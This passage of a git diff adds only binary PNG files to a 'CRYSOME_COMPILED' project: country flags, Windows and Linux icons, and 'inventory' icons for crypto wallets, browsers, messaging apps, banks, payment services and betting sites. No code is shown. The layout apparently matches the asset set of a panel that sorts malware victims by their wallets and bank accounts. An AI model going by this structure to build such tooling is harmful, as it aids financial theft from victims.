a/CRYSOME_COMPILED/flags/TO.png b/CRYSOME_COMPILED/flags/TO.png new file mode 100644 index 0000000..f72335b Binary files /dev/null and b/CRYSOME_COMPILED/flags/TO.png differ diff --git a/CRYSOME_COMPILED/flags/TO@2x.png b/CRYSOME_COMPILED/flags/TO@2x.png new file mode 100644 index 0000000..4bfca2b Binary files /dev/null and b/CRYSOME_COMPILED/flags/TO@2x.png differ diff --git a/CRYSOME_COMPILED/flags/TO@3x.png b/CRYSOME_COMPILED/flags/TO@3x.png new file mode 100644 index 0000000..8c3c8ff Binary files /dev/null and b/CRYSOME_COMPILED/flags/TO@3x.png differ diff --git a/CRYSOME_COMPILED/flags/TR.png b/CRYSOME_COMPILED/flags/TR.png new file mode 100644 index 0000000..6a6583b Binary files /dev/null and b/CRYSOME_COMPILED/flags/TR.png differ diff --git a/CRYSOME_COMPILED/flags/TR@2x.png b/CRYSOME_COMPILED/flags/TR@2x.png new file mode 100644 index 0000000..e764162 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TR@2x.png differ diff --git a/CRYSOME_COMPILED/flags/TR@3x.png b/CRYSOME_COMPILED/flags/TR@3x.png new file mode 100644 index 0000000..135867a Binary files /dev/null and b/CRYSOME_COMPILED/flags/TR@3x.png differ diff --git a/CRYSOME_COMPILED/flags/TT.png b/CRYSOME_COMPILED/flags/TT.png new file mode 100644 index 0000000..3f98602 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TT.png differ diff --git a/CRYSOME_COMPILED/flags/TT@2x.png b/CRYSOME_COMPILED/flags/TT@2x.png new file mode 100644 index 0000000..2d6ced6 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TT@2x.png differ diff --git a/CRYSOME_COMPILED/flags/TT@3x.png b/CRYSOME_COMPILED/flags/TT@3x.png new file mode 100644 index 0000000..e1a3ae6 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TT@3x.png differ diff --git a/CRYSOME_COMPILED/flags/TV.png b/CRYSOME_COMPILED/flags/TV.png new file mode 100644 index 0000000..9055cd3 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TV.png differ diff --git a/CRYSOME_COMPILED/flags/TV@2x.png b/CRYSOME_COMPILED/flags/TV@2x.png new file mode 100644 index 0000000..8f16995 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TV@2x.png differ diff --git a/CRYSOME_COMPILED/flags/TV@3x.png b/CRYSOME_COMPILED/flags/TV@3x.png new file mode 100644 index 0000000..14454fe Binary files /dev/null and b/CRYSOME_COMPILED/flags/TV@3x.png differ diff --git a/CRYSOME_COMPILED/flags/TW.png b/CRYSOME_COMPILED/flags/TW.png new file mode 100644 index 0000000..dab248f Binary files /dev/null and b/CRYSOME_COMPILED/flags/TW.png differ diff --git a/CRYSOME_COMPILED/flags/TW@2x.png b/CRYSOME_COMPILED/flags/TW@2x.png new file mode 100644 index 0000000..4bb14b9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TW@2x.png differ diff --git a/CRYSOME_COMPILED/flags/TW@3x.png b/CRYSOME_COMPILED/flags/TW@3x.png new file mode 100644 index 0000000..d6af318 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TW@3x.png differ diff --git a/CRYSOME_COMPILED/flags/TZ.png b/CRYSOME_COMPILED/flags/TZ.png new file mode 100644 index 0000000..ed4bd8c Binary files /dev/null and b/CRYSOME_COMPILED/flags/TZ.png differ diff --git a/CRYSOME_COMPILED/flags/TZ@2x.png b/CRYSOME_COMPILED/flags/TZ@2x.png new file mode 100644 index 0000000..98477c2 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TZ@2x.png differ diff --git a/CRYSOME_COMPILED/flags/TZ@3x.png b/CRYSOME_COMPILED/flags/TZ@3x.png new file mode 100644 index 0000000..48d8210 Binary files /dev/null and b/CRYSOME_COMPILED/flags/TZ@3x.png differ diff --git a/CRYSOME_COMPILED/flags/UA.png b/CRYSOME_COMPILED/flags/UA.png new file mode 100644 index 0000000..98e77dd Binary files /dev/null and b/CRYSOME_COMPILED/flags/UA.png differ diff --git a/CRYSOME_COMPILED/flags/UA@2x.png b/CRYSOME_COMPILED/flags/UA@2x.png new file mode 100644 index 0000000..3caa571 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UA@2x.png differ diff --git a/CRYSOME_COMPILED/flags/UA@3x.png b/CRYSOME_COMPILED/flags/UA@3x.png new file mode 100644 index 0000000..1deb016 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UA@3x.png differ diff --git a/CRYSOME_COMPILED/flags/UG.png b/CRYSOME_COMPILED/flags/UG.png new file mode 100644 index 0000000..eb8e95b Binary files /dev/null and b/CRYSOME_COMPILED/flags/UG.png differ diff --git a/CRYSOME_COMPILED/flags/UG@2x.png b/CRYSOME_COMPILED/flags/UG@2x.png new file mode 100644 index 0000000..44ed5be Binary files /dev/null and b/CRYSOME_COMPILED/flags/UG@2x.png differ diff --git a/CRYSOME_COMPILED/flags/UG@3x.png b/CRYSOME_COMPILED/flags/UG@3x.png new file mode 100644 index 0000000..a65c280 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UG@3x.png differ diff --git a/CRYSOME_COMPILED/flags/UM.png b/CRYSOME_COMPILED/flags/UM.png new file mode 100644 index 0000000..a0a9edc Binary files /dev/null and b/CRYSOME_COMPILED/flags/UM.png differ diff --git a/CRYSOME_COMPILED/flags/UM@2x.png b/CRYSOME_COMPILED/flags/UM@2x.png new file mode 100644 index 0000000..c7b161f Binary files /dev/null and b/CRYSOME_COMPILED/flags/UM@2x.png differ diff --git a/CRYSOME_COMPILED/flags/UM@3x.png b/CRYSOME_COMPILED/flags/UM@3x.png new file mode 100644 index 0000000..11718d0 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UM@3x.png differ diff --git a/CRYSOME_COMPILED/flags/US-CA.png b/CRYSOME_COMPILED/flags/US-CA.png new file mode 100644 index 0000000..f17beec Binary files /dev/null and b/CRYSOME_COMPILED/flags/US-CA.png differ diff --git a/CRYSOME_COMPILED/flags/US-CA@2x.png b/CRYSOME_COMPILED/flags/US-CA@2x.png new file mode 100644 index 0000000..639f1b8 Binary files /dev/null and b/CRYSOME_COMPILED/flags/US-CA@2x.png differ diff --git a/CRYSOME_COMPILED/flags/US-CA@3x.png b/CRYSOME_COMPILED/flags/US-CA@3x.png new file mode 100644 index 0000000..f522839 Binary files /dev/null and b/CRYSOME_COMPILED/flags/US-CA@3x.png differ diff --git a/CRYSOME_COMPILED/flags/US.png b/CRYSOME_COMPILED/flags/US.png new file mode 100644 index 0000000..a0a9edc Binary files /dev/null and b/CRYSOME_COMPILED/flags/US.png differ diff --git a/CRYSOME_COMPILED/flags/US@2x.png b/CRYSOME_COMPILED/flags/US@2x.png new file mode 100644 index 0000000..c7b161f Binary files /dev/null and b/CRYSOME_COMPILED/flags/US@2x.png differ diff --git a/CRYSOME_COMPILED/flags/US@3x.png b/CRYSOME_COMPILED/flags/US@3x.png new file mode 100644 index 0000000..11718d0 Binary files /dev/null and b/CRYSOME_COMPILED/flags/US@3x.png differ diff --git a/CRYSOME_COMPILED/flags/UY.png b/CRYSOME_COMPILED/flags/UY.png new file mode 100644 index 0000000..ed9c116 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UY.png differ diff --git a/CRYSOME_COMPILED/flags/UY@2x.png b/CRYSOME_COMPILED/flags/UY@2x.png new file mode 100644 index 0000000..b223b34 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UY@2x.png differ diff --git a/CRYSOME_COMPILED/flags/UY@3x.png b/CRYSOME_COMPILED/flags/UY@3x.png new file mode 100644 index 0000000..94bbf22 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UY@3x.png differ diff --git a/CRYSOME_COMPILED/flags/UZ.png b/CRYSOME_COMPILED/flags/UZ.png new file mode 100644 index 0000000..ec58678 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UZ.png differ diff --git a/CRYSOME_COMPILED/flags/UZ@2x.png b/CRYSOME_COMPILED/flags/UZ@2x.png new file mode 100644 index 0000000..6dd9fb5 Binary files /dev/null and b/CRYSOME_COMPILED/flags/UZ@2x.png differ diff --git a/CRYSOME_COMPILED/flags/UZ@3x.png b/CRYSOME_COMPILED/flags/UZ@3x.png new file mode 100644 index 0000000..d5beb2e Binary files /dev/null and b/CRYSOME_COMPILED/flags/UZ@3x.png differ diff --git a/CRYSOME_COMPILED/flags/VA.png b/CRYSOME_COMPILED/flags/VA.png new file mode 100644 index 0000000..7b32f7a Binary files /dev/null and b/CRYSOME_COMPILED/flags/VA.png differ diff --git a/CRYSOME_COMPILED/flags/VA@2x.png b/CRYSOME_COMPILED/flags/VA@2x.png new file mode 100644 index 0000000..e929118 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VA@2x.png differ diff --git a/CRYSOME_COMPILED/flags/VA@3x.png b/CRYSOME_COMPILED/flags/VA@3x.png new file mode 100644 index 0000000..898f45a Binary files /dev/null and b/CRYSOME_COMPILED/flags/VA@3x.png differ diff --git a/CRYSOME_COMPILED/flags/VC.png b/CRYSOME_COMPILED/flags/VC.png new file mode 100644 index 0000000..ba1cea9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VC.png differ diff --git a/CRYSOME_COMPILED/flags/VC@2x.png b/CRYSOME_COMPILED/flags/VC@2x.png new file mode 100644 index 0000000..c133fe6 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VC@2x.png differ diff --git a/CRYSOME_COMPILED/flags/VC@3x.png b/CRYSOME_COMPILED/flags/VC@3x.png new file mode 100644 index 0000000..1c62a4d Binary files /dev/null and b/CRYSOME_COMPILED/flags/VC@3x.png differ diff --git a/CRYSOME_COMPILED/flags/VE.png b/CRYSOME_COMPILED/flags/VE.png new file mode 100644 index 0000000..7e2c5a2 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VE.png differ diff --git a/CRYSOME_COMPILED/flags/VE@2x.png b/CRYSOME_COMPILED/flags/VE@2x.png new file mode 100644 index 0000000..e3526d3 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VE@2x.png differ diff --git a/CRYSOME_COMPILED/flags/VE@3x.png b/CRYSOME_COMPILED/flags/VE@3x.png new file mode 100644 index 0000000..86577d7 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VE@3x.png differ diff --git a/CRYSOME_COMPILED/flags/VG.png b/CRYSOME_COMPILED/flags/VG.png new file mode 100644 index 0000000..0950445 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VG.png differ diff --git a/CRYSOME_COMPILED/flags/VG@2x.png b/CRYSOME_COMPILED/flags/VG@2x.png new file mode 100644 index 0000000..7ee20ae Binary files /dev/null and b/CRYSOME_COMPILED/flags/VG@2x.png differ diff --git a/CRYSOME_COMPILED/flags/VG@3x.png b/CRYSOME_COMPILED/flags/VG@3x.png new file mode 100644 index 0000000..e0a8c6d Binary files /dev/null and b/CRYSOME_COMPILED/flags/VG@3x.png differ diff --git a/CRYSOME_COMPILED/flags/VI.png b/CRYSOME_COMPILED/flags/VI.png new file mode 100644 index 0000000..48ce140 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VI.png differ diff --git a/CRYSOME_COMPILED/flags/VI@2x.png b/CRYSOME_COMPILED/flags/VI@2x.png new file mode 100644 index 0000000..b2febc1 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VI@2x.png differ diff --git a/CRYSOME_COMPILED/flags/VI@3x.png b/CRYSOME_COMPILED/flags/VI@3x.png new file mode 100644 index 0000000..d4317ef Binary files /dev/null and b/CRYSOME_COMPILED/flags/VI@3x.png differ diff --git a/CRYSOME_COMPILED/flags/VN.png b/CRYSOME_COMPILED/flags/VN.png new file mode 100644 index 0000000..bc1677d Binary files /dev/null and b/CRYSOME_COMPILED/flags/VN.png differ diff --git a/CRYSOME_COMPILED/flags/VN@2x.png b/CRYSOME_COMPILED/flags/VN@2x.png new file mode 100644 index 0000000..f1ccc81 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VN@2x.png differ diff --git a/CRYSOME_COMPILED/flags/VN@3x.png b/CRYSOME_COMPILED/flags/VN@3x.png new file mode 100644 index 0000000..309e610 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VN@3x.png differ diff --git a/CRYSOME_COMPILED/flags/VU.png b/CRYSOME_COMPILED/flags/VU.png new file mode 100644 index 0000000..16b1d66 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VU.png differ diff --git a/CRYSOME_COMPILED/flags/VU@2x.png b/CRYSOME_COMPILED/flags/VU@2x.png new file mode 100644 index 0000000..b3342f8 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VU@2x.png differ diff --git a/CRYSOME_COMPILED/flags/VU@3x.png b/CRYSOME_COMPILED/flags/VU@3x.png new file mode 100644 index 0000000..513a355 Binary files /dev/null and b/CRYSOME_COMPILED/flags/VU@3x.png differ diff --git a/CRYSOME_COMPILED/flags/WF.png b/CRYSOME_COMPILED/flags/WF.png new file mode 100644 index 0000000..2fd4c6a Binary files /dev/null and b/CRYSOME_COMPILED/flags/WF.png differ diff --git a/CRYSOME_COMPILED/flags/WF@2x.png b/CRYSOME_COMPILED/flags/WF@2x.png new file mode 100644 index 0000000..720839f Binary files /dev/null and b/CRYSOME_COMPILED/flags/WF@2x.png differ diff --git a/CRYSOME_COMPILED/flags/WF@3x.png b/CRYSOME_COMPILED/flags/WF@3x.png new file mode 100644 index 0000000..1de1b75 Binary files /dev/null and b/CRYSOME_COMPILED/flags/WF@3x.png differ diff --git a/CRYSOME_COMPILED/flags/WS.png b/CRYSOME_COMPILED/flags/WS.png new file mode 100644 index 0000000..14e2144 Binary files /dev/null and b/CRYSOME_COMPILED/flags/WS.png differ diff --git a/CRYSOME_COMPILED/flags/WS@2x.png b/CRYSOME_COMPILED/flags/WS@2x.png new file mode 100644 index 0000000..ca759c1 Binary files /dev/null and b/CRYSOME_COMPILED/flags/WS@2x.png differ diff --git a/CRYSOME_COMPILED/flags/WS@3x.png b/CRYSOME_COMPILED/flags/WS@3x.png new file mode 100644 index 0000000..3d51ad7 Binary files /dev/null and b/CRYSOME_COMPILED/flags/WS@3x.png differ diff --git a/CRYSOME_COMPILED/flags/WW.png b/CRYSOME_COMPILED/flags/WW.png new file mode 100644 index 0000000..765e248 Binary files /dev/null and b/CRYSOME_COMPILED/flags/WW.png differ diff --git a/CRYSOME_COMPILED/flags/XK.png b/CRYSOME_COMPILED/flags/XK.png new file mode 100644 index 0000000..c885408 Binary files /dev/null and b/CRYSOME_COMPILED/flags/XK.png differ diff --git a/CRYSOME_COMPILED/flags/XK@2x.png b/CRYSOME_COMPILED/flags/XK@2x.png new file mode 100644 index 0000000..198681c Binary files /dev/null and b/CRYSOME_COMPILED/flags/XK@2x.png differ diff --git a/CRYSOME_COMPILED/flags/XK@3x.png b/CRYSOME_COMPILED/flags/XK@3x.png new file mode 100644 index 0000000..9ff8b22 Binary files /dev/null and b/CRYSOME_COMPILED/flags/XK@3x.png differ diff --git a/CRYSOME_COMPILED/flags/YE.png b/CRYSOME_COMPILED/flags/YE.png new file mode 100644 index 0000000..817c6a4 Binary files /dev/null and b/CRYSOME_COMPILED/flags/YE.png differ diff --git a/CRYSOME_COMPILED/flags/YE@2x.png b/CRYSOME_COMPILED/flags/YE@2x.png new file mode 100644 index 0000000..442f3ee Binary files /dev/null and b/CRYSOME_COMPILED/flags/YE@2x.png differ diff --git a/CRYSOME_COMPILED/flags/YE@3x.png b/CRYSOME_COMPILED/flags/YE@3x.png new file mode 100644 index 0000000..7e3cf7c Binary files /dev/null and b/CRYSOME_COMPILED/flags/YE@3x.png differ diff --git a/CRYSOME_COMPILED/flags/YT.png b/CRYSOME_COMPILED/flags/YT.png new file mode 100644 index 0000000..f919870 Binary files /dev/null and b/CRYSOME_COMPILED/flags/YT.png differ diff --git a/CRYSOME_COMPILED/flags/YT@2x.png b/CRYSOME_COMPILED/flags/YT@2x.png new file mode 100644 index 0000000..5eadd62 Binary files /dev/null and b/CRYSOME_COMPILED/flags/YT@2x.png differ diff --git a/CRYSOME_COMPILED/flags/YT@3x.png b/CRYSOME_COMPILED/flags/YT@3x.png new file mode 100644 index 0000000..a352c22 Binary files /dev/null and b/CRYSOME_COMPILED/flags/YT@3x.png differ diff --git a/CRYSOME_COMPILED/flags/ZA.png b/CRYSOME_COMPILED/flags/ZA.png new file mode 100644 index 0000000..14c7815 Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZA.png differ diff --git a/CRYSOME_COMPILED/flags/ZA@2x.png b/CRYSOME_COMPILED/flags/ZA@2x.png new file mode 100644 index 0000000..948603e Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZA@2x.png differ diff --git a/CRYSOME_COMPILED/flags/ZA@3x.png b/CRYSOME_COMPILED/flags/ZA@3x.png new file mode 100644 index 0000000..5355e89 Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZA@3x.png differ diff --git a/CRYSOME_COMPILED/flags/ZM.png b/CRYSOME_COMPILED/flags/ZM.png new file mode 100644 index 0000000..3131387 Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZM.png differ diff --git a/CRYSOME_COMPILED/flags/ZM@2x.png b/CRYSOME_COMPILED/flags/ZM@2x.png new file mode 100644 index 0000000..69feef9 Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZM@2x.png differ diff --git a/CRYSOME_COMPILED/flags/ZM@3x.png b/CRYSOME_COMPILED/flags/ZM@3x.png new file mode 100644 index 0000000..74d7a60 Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZM@3x.png differ diff --git a/CRYSOME_COMPILED/flags/ZW.png b/CRYSOME_COMPILED/flags/ZW.png new file mode 100644 index 0000000..f21684f Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZW.png differ diff --git a/CRYSOME_COMPILED/flags/ZW@2x.png b/CRYSOME_COMPILED/flags/ZW@2x.png new file mode 100644 index 0000000..6b6e193 Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZW@2x.png differ diff --git a/CRYSOME_COMPILED/flags/ZW@3x.png b/CRYSOME_COMPILED/flags/ZW@3x.png new file mode 100644 index 0000000..e57bd7d Binary files /dev/null and b/CRYSOME_COMPILED/flags/ZW@3x.png differ diff --git a/CRYSOME_COMPILED/icons/linux.png b/CRYSOME_COMPILED/icons/linux.png new file mode 100644 index 0000000..c7de7e1 Binary files /dev/null and b/CRYSOME_COMPILED/icons/linux.png differ diff --git a/CRYSOME_COMPILED/icons/proxy.png b/CRYSOME_COMPILED/icons/proxy.png new file mode 100644 index 0000000..db604ee Binary files /dev/null and b/CRYSOME_COMPILED/icons/proxy.png differ diff --git a/CRYSOME_COMPILED/icons/windows10.png b/CRYSOME_COMPILED/icons/windows10.png new file mode 100644 index 0000000..64c9c70 Binary files /dev/null and b/CRYSOME_COMPILED/icons/windows10.png differ diff --git a/CRYSOME_COMPILED/icons/windows11.png b/CRYSOME_COMPILED/icons/windows11.png new file mode 100644 index 0000000..0780306 Binary files /dev/null and b/CRYSOME_COMPILED/icons/windows11.png differ diff --git a/CRYSOME_COMPILED/icons/windows7.png b/CRYSOME_COMPILED/icons/windows7.png new file mode 100644 index 0000000..f630cac Binary files /dev/null and b/CRYSOME_COMPILED/icons/windows7.png differ diff --git a/CRYSOME_COMPILED/icons/windows81.png b/CRYSOME_COMPILED/icons/windows81.png new file mode 100644 index 0000000..e86e7fe Binary files /dev/null and b/CRYSOME_COMPILED/icons/windows81.png differ diff --git a/CRYSOME_COMPILED/icons/windowsxp.png b/CRYSOME_COMPILED/icons/windowsxp.png new file mode 100644 index 0000000..7ebf78d Binary files /dev/null and b/CRYSOME_COMPILED/icons/windowsxp.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/atomic.png b/CRYSOME_COMPILED/inventory/apps/atomic.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/atomic.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/binance.png b/CRYSOME_COMPILED/inventory/apps/binance.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/binance.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/brave.png b/CRYSOME_COMPILED/inventory/apps/brave.png new file mode 100644 index 0000000..d751346 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/brave.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/chrome.png b/CRYSOME_COMPILED/inventory/apps/chrome.png new file mode 100644 index 0000000..0106c28 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/chrome.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/discord.png b/CRYSOME_COMPILED/inventory/apps/discord.png new file mode 100644 index 0000000..4ea22e4 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/discord.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/edge.png b/CRYSOME_COMPILED/inventory/apps/edge.png new file mode 100644 index 0000000..daf69d4 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/edge.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/electrum.png b/CRYSOME_COMPILED/inventory/apps/electrum.png new file mode 100644 index 0000000..68188f8 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/electrum.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/exodus.png b/CRYSOME_COMPILED/inventory/apps/exodus.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/exodus.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/firefox.png b/CRYSOME_COMPILED/inventory/apps/firefox.png new file mode 100644 index 0000000..c90cb69 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/firefox.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/metamask.png b/CRYSOME_COMPILED/inventory/apps/metamask.png new file mode 100644 index 0000000..1810f27 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/metamask.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/notepad_plus_plus.png b/CRYSOME_COMPILED/inventory/apps/notepad_plus_plus.png new file mode 100644 index 0000000..33bbe66 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/notepad_plus_plus.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/opera.png b/CRYSOME_COMPILED/inventory/apps/opera.png new file mode 100644 index 0000000..6ab041c Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/opera.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/python.png b/CRYSOME_COMPILED/inventory/apps/python.png new file mode 100644 index 0000000..9d75d7f Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/python.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/slack.png b/CRYSOME_COMPILED/inventory/apps/slack.png new file mode 100644 index 0000000..4fb495a Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/slack.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/steam.png b/CRYSOME_COMPILED/inventory/apps/steam.png new file mode 100644 index 0000000..e6e4881 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/steam.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/telegram.png b/CRYSOME_COMPILED/inventory/apps/telegram.png new file mode 100644 index 0000000..696e521 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/telegram.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/vlc.png b/CRYSOME_COMPILED/inventory/apps/vlc.png new file mode 100644 index 0000000..8d6c8b4 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/vlc.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/vscode.png b/CRYSOME_COMPILED/inventory/apps/vscode.png new file mode 100644 index 0000000..ac6544b Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/vscode.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/whatsapp.png b/CRYSOME_COMPILED/inventory/apps/whatsapp.png new file mode 100644 index 0000000..2a559d8 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/whatsapp.png differ diff --git a/CRYSOME_COMPILED/inventory/apps/zoom.png b/CRYSOME_COMPILED/inventory/apps/zoom.png new file mode 100644 index 0000000..498ddcd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/apps/zoom.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/bankofamerica.png b/CRYSOME_COMPILED/inventory/banks/bankofamerica.png new file mode 100644 index 0000000..887e353 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/bankofamerica.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/binance.png b/CRYSOME_COMPILED/inventory/banks/binance.png new file mode 100644 index 0000000..9908170 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/binance.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/capitalone.png b/CRYSOME_COMPILED/inventory/banks/capitalone.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/capitalone.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/cashapp.png b/CRYSOME_COMPILED/inventory/banks/cashapp.png new file mode 100644 index 0000000..e7e6dea Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/cashapp.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/chase.png b/CRYSOME_COMPILED/inventory/banks/chase.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/chase.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/citibank.png b/CRYSOME_COMPILED/inventory/banks/citibank.png new file mode 100644 index 0000000..8c295bd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/citibank.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/coinbase_bank.png b/CRYSOME_COMPILED/inventory/banks/coinbase_bank.png new file mode 100644 index 0000000..3d6b873 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/coinbase_bank.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/kraken.png b/CRYSOME_COMPILED/inventory/banks/kraken.png new file mode 100644 index 0000000..ee6148b Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/kraken.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/paypal.png b/CRYSOME_COMPILED/inventory/banks/paypal.png new file mode 100644 index 0000000..d4e5fd2 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/paypal.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/robinhood.png b/CRYSOME_COMPILED/inventory/banks/robinhood.png new file mode 100644 index 0000000..7c0a94a Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/robinhood.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/usbank.png b/CRYSOME_COMPILED/inventory/banks/usbank.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/usbank.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/venmo.png b/CRYSOME_COMPILED/inventory/banks/venmo.png new file mode 100644 index 0000000..ee6148b Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/venmo.png differ diff --git a/CRYSOME_COMPILED/inventory/banks/wellsfargo.png b/CRYSOME_COMPILED/inventory/banks/wellsfargo.png new file mode 100644 index 0000000..a6dffcd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/banks/wellsfargo.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/1xbet.png b/CRYSOME_COMPILED/inventory/casinos/1xbet.png new file mode 100644 index 0000000..73ec5d0 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/1xbet.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/22bet.png b/CRYSOME_COMPILED/inventory/casinos/22bet.png new file mode 100644 index 0000000..c55302a Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/22bet.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/888casino.png b/CRYSOME_COMPILED/inventory/casinos/888casino.png new file mode 100644 index 0000000..1bad1fe Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/888casino.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/bet365.png b/CRYSOME_COMPILED/inventory/casinos/bet365.png new file mode 100644 index 0000000..dc1e012 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/bet365.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/bet9ja.png b/CRYSOME_COMPILED/inventory/casinos/bet9ja.png new file mode 100644 index 0000000..829cc69 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/bet9ja.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/betano.png b/CRYSOME_COMPILED/inventory/casinos/betano.png new file mode 100644 index 0000000..c112f8b Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/betano.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/betfair.png b/CRYSOME_COMPILED/inventory/casinos/betfair.png new file mode 100644 index 0000000..d214bbd Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/betfair.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/betmgm.png b/CRYSOME_COMPILED/inventory/casinos/betmgm.png new file mode 100644 index 0000000..f1cbb62 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/betmgm.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/betonline.png b/CRYSOME_COMPILED/inventory/casinos/betonline.png new file mode 100644 index 0000000..260d082 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/betonline.png differ diff --git a/CRYSOME_COMPILED/inventory/casinos/betsson.png b/CRYSOME_COMPILED/inventory/casinos/betsson.png new file mode 100644 index 0000000..9a802c1 Binary files /dev/null and b/CRYSOME_COMPILED/inventory/casinos/betsson.png differ diff --git 